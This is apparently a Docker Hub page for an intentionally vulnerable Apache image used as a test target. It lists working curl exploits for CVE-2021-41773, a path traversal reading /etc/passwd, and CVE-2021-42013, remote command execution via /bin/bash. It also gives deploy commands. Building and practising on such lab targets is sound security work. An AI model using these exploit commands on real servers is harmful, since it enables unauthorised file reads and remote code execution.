Sign inSign up

prex55/vul_apache

By prex55

Updated about 3 years ago

Image
0

10K+

prex55/vul_apache repository overview

Vulnerable Apache

Attack Command

cve-2021-41773

curl http://IP:8081/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

cve-2021-42013

curl 'http://IP:8082/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; ls -la'

Use --path-as-is option if curl decodes strings.

curl --path-as-is 'http://IP:8082/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; ls -la'

For k8s deploy

cve-2021-42013

kubectl apply -f https://raw.githubusercontent.com/p-rex/warehouse/main/yaml/cve-2021-42013_deployment_svc.yaml

Source code

https://github.com/p-rex/warehouse/tree/main/apache_vulnerabilities

Tag summary

Content type

Image

Digest

sha256:d785257af

Size

214.1 MB

Last updated

about 3 years ago

docker pull prex55/vul_apache:cve-2021-42013_page_v2